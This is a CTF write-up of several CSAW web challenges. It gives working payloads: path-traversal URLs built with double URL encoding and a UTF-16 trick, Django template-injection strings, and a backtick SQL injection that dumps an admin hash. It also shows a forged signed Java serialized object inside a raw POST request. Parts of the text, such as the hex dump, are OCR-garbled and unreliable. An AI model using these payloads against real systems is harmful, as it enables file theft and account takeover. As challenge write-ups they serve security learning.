Orange v3:

This is a modified version of the first orange task, this time blocking %2E(.) doubleurlencoding and any other extension except .txt and dots (other chars too), so after a while we realised we can parse a utf-16 char that ends with 2E.

For example: [LATIN CAPITAL LETTER | WITH OGONEK (U+012E)

Which will be encoded like %01%2E

%01 isnt used according to(https://www.obkb.com/dcljr/charstxt.html)

So trying this on the url: http://web.chal.csaw.io:7312/?path=%C4%AE/orange.txt

Gave the result, now doing

http://web.chal.csaw.io:7312/?path=%C4%AE%C4%AE/flag.txt

Gave us the flag: flag{sOrry this tOOk sO m@ny tries...}

Orange v1:

This one was blocking double dots '..' easy bypass was using double urlencoding of the dot char http://web.chal.csaw.io:7311/?path=%252E%252E/flag.txt

Flag: flag{thank_you_based_orange_for_this_ctf_challenge}

Shia Labeouf-off:

Navigating around the website we can find a form vuln to xss and template injection, app was running django which wasn't easy to hack, django doesnt permit a lot of global access, we can just access contructs and tags

Trying {{ user }} in http://web.chal.csaw.io:5490/ad-lib/

Gave us some result, after looking in debug, we find an interesting object (mrpoopy), problem was accessing it, that took a while when we read the debug in

http://web.chal.csaw.io:5490/polls/3/

So we find that there were custom tags defined (listme, getme)

Applying this filters to mrpoopy gave good results

First: {{ mrpoopy | listme }} which resulted in:

['Woohoo', '__doc__', '__flag__', '__module__']

Now we now the attribs, we can access them by getme, calling {{ mrpoopy|getme:"__flag___"}}did the job (weird django syntax)

And we get the flag : flag{wow_much_t3mplate}

LittleQuery:

User-agent: *
Disallow: /api
After that we find http://littlequery.chal.csaw.io/api/db explore.php
Which was indicating we need to specify schema or preview
Doing http://littlequery.chal.csaw.io/api/db explore.php?mode=schema
We can see the db name: " littlequery"
http://littlequery.chal.csaw.io/api/db explore.php?mode=schema&db=littlequery: shows table
http://littlequery.chal.csaw.io/api/db explore.php?mode=schema&db=littlequery&t able=user : shows columns
To find rows we need to use mode=preview:
http://littlequery.chal.csaw.io/api/db explore.php?mode=preview&db=littlequery&table=user
Hmm not so easy the response was: Database 'littlequery' is not allowed to be previewed.
Looks like some filter, after playing a while with params we can find a sqli, backtick wasn't sanitized

First thing to find is robots.txt contained :

Doing	this	•
201115	CITIO	٠

http://littlequery.chal.csaw.io/api/db explore.php?mode=preview&db=littlequery`& table=users

Results in: 'littlequery''.'users' doesn't exist.

Need to balance the query now

http://littlequery.chal.csaw.io/api/db explore.php?mode=preview&db=littlequery`. user--%20-&table=

Gave the result:

[{"uid":"1","username":"admin","password":"5896e92d38ee883cc09ad6f88df4934f6b074cf8"}]

We have our admin / password, when trying to login with them it didnt work, the js script was hashing the password, all I had to do is intercept it burp and change the params .

We find a console with a commented flag:

flag{mayb3_1ts_t1m3_4_real_real_escape_string?}

Not My Cup Of Coffe:

Well this was a good task.

Home page looked like this:

Our Beans

Name	Description	Parent	Parent	Available
Covfefe	The best trade deal in the history of trade deals	n/a	n/a	Yes
Dennis	Dennis Sun has been removed from the group	n/a	n/a	Yes
Ghost	spoopy	n/a	n/a	Yes
Hyper	wtf	n/a	n/a	Yes
MG	prez	n/a	n/a	Yes
Passion	Leon is a programmer who aspires to create programs that help people do less. He wants to put automation first, and scalability alongside. He dreams of a world where the endless and the infinite become realities to mankind, and where the true value of life is preserved.	n/a	n/a	Yes
Raid	raid	n/a	n/a	Yes
Tnek	I'll save you	n/a	n/a	Yes
Yeet	yeet	n/a	n/a	Yes
Flag		-	-	No

Admin

So we can make some assumptions from here, name Flag wasnt available, otherwise normal stuff

Visiting this page:

Bean Passion Chamber



We could create a comment with name and description and choose parents parents were from the list(Covfefe,Passion) but Flag wasn't in list, thats the first interesting thing, when we write something it get's replaced like first image, each parent has a text.

Looking at source code:

Which contained some base64 encoded stuff + a hash that looked like sha256:

Decoding the base64 showed some java objects each one with the name of the parent in it , from now we understand the idea of the challenge, we need to forge an object , instead of sending Covfefe.Coffee..., we'll change the attr with 'Flag', but doing it crashes the application, looks like it verifies if the signature (sha256) matches,

So trying with the existing object we found out that that hash was Sha256(base64object+salt) and salt='c@ram31m4cchi@o'

After this I took an existing Bean which had 4 chars(like flag) and did a streplace with Flag, that didnt work, apparently some base64 padding incorrect, after that we fixed using hexeditor which looks like this:

```
ASCII Offset: 0x00000000 / 0x0000009B (%00)
                           73 72 00 0F
65 61 6E 00
                                                                              ....sr..coffee.F
              ED 00 05
                                               6F 66 66
          6C 61 67 42
00 00 78 72
0000010
                                                   00 00
                                                               00 01 02
                                                                             lagBean.
                           00 0B 63 6F
0000020
                                            66 66 65 65
                                                                             ..xr..coffee.Bea
0000030
          6E 00 00 00
                           00 00 00 00
                                            01 02 00 04
                                                            4C 00 07 69
00000040
                           69 74 74 00
                                            0D 4C 63 6F
                                                            66 66 65 65
                                                                             nheritt..Lcoffee
0000050
                                                                             /Bean;L..namet.
                                            6E 67 2F 53
65 6E 74 31
6E 74 32 71
61 67 70 70
                                                            74 72 69 6E
71 00 7E 00
                           61 2F 6C 61
07 70 61 72
0000060
              6A 61
                                                                             Ljava/lang/Strin
9000070
           67
                                                            00 7E 00 02
0000090
                                                                             xppt..Flagpp
```

And reencoded the base64 and sign it with salt, and sent the request:

POST /roaster.jsp HTTP/1.1 Host: web.chal.csaw.io:8616 Jser-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 =irefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://web.chal.csaw.io:8616/breed.jsp Cookie: __cfduid=dddbbb788252fa61e8767810efbfd3a8f1505505169; csrftoken=sE1P4n0qGZW3Tud9am4FoIo62UplTmSFUi97bNu4ZRCmCkTQe06qndweC0Wh6kG t; JSESSIONID=572A29074F3BE02C761F6D14A705EFF7

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 601

pean-name=133t name&bean-desc=133t d3sc&parent1=r00ABXNyAA9jb2ZmZWUuRmxhZ DJl YW4AAAAAAAAAAQIAAHhyAAt j b2ZmZWUuQmVhbqAAAAAAAAAAAAAAAHaW5oZXJpdHQADU xjb2ZmZWUvQmVhbjtMAARuYWlldAASTGphdmEvbGFuZy9TdHJpbmc7TAAHcGFyZW50MXEAfqA CTAAHcGFyZW50MnEAfgACeHBwdAAERmxhZ3Bw-6715801eb21604db3f35709ff86ee6ac86e 75bab042d2e4fced219c7a130763c&parent2=r00ABXNyAA9jb2ZmZWUuRmxhZ0JlYW4AAAA AAAAAAQIAAHhyAAtjb2ZmZWUuQmVhbgAAAAAAAAAAAABAgAETAAHaW5oZXJpdHQADUxjb2ZmZWUv QmVhbjtMAARuYWlldAASTGphdmEvbGFuZy9TdHJpbmc7TAAHcGFyZW50MXEAfqACTAAHcGFyZ N50MnEAfgACeHBwdAAERmxhZ3Bw-6715801eb21604db3f35709ff86ee6ac86e75bab042d2 e4fced219c7a130763c

Don't forget to change JSESSIONID

Now after revisiting main page :

MG	prez	n/a	n/a	Yes
Passion	Leon is a programmer who aspires to create programs that help people do less. He wants to put automation first, and scalability alongside. He dreams of a world where the endless and the infinite become realities to mankind, and where the true value of life is preserved.	n/a	n/a	Yes
Raid	raid	n/a	n/a	Yes
Tnek	I'll save you	n/a	n/a	Yes
Yeet	yeet	n/a	n/a	Yes
l33t_name	133t_d3sc	Flag	Flag	Yes
Flag	-	-	-	No

We find our injecting thing with the with 'Flag' parent, just need to create something pointing to it, and we can see flag (or just refresh)

Passion	Leon is a programmer who aspires to create programs that help people do less. He wants to put automation first, and scalability alongside. He dreams of a world where the endless and the infinite become realities to mankind, and where the true value of life is preserved.	n/a	n/a	Yes
Raid	raid	n/a	n/a	Yes
Tnek	I'll save you	n/a	n/a	Yes
Yeet	yeet	n/a	n/a	Yes
l33t_name	flag{yd1dw3wr1t3th15j@v@is@n@landd0nt51@lize}	Flag	Flag	Yes
t3st	flag{yd1dw3wr1t3th15j@v@is@n@landd0nt51@lize}	l33t_name	l33t_name	Yes
Flag		-	-	No

. . .

FuntimeJs:

So after solving littlequery we get a console and we can run commands, after checking the github link of runtimejs

https://github.com/runtimejs/runtime
we can find some modules which are default, like 'fs' which is important for us, so after getting file read, we run a payload, and try to read flag.txt

```
var fs = require("fs");
fs.readFile("flag.txt", function (err, data) {
    if (err) throw err;
    console.log(data.toString());
});
And yes flag was there : flag{I_f0rg0t_1n1trd_1nclud3d_a11_files}
```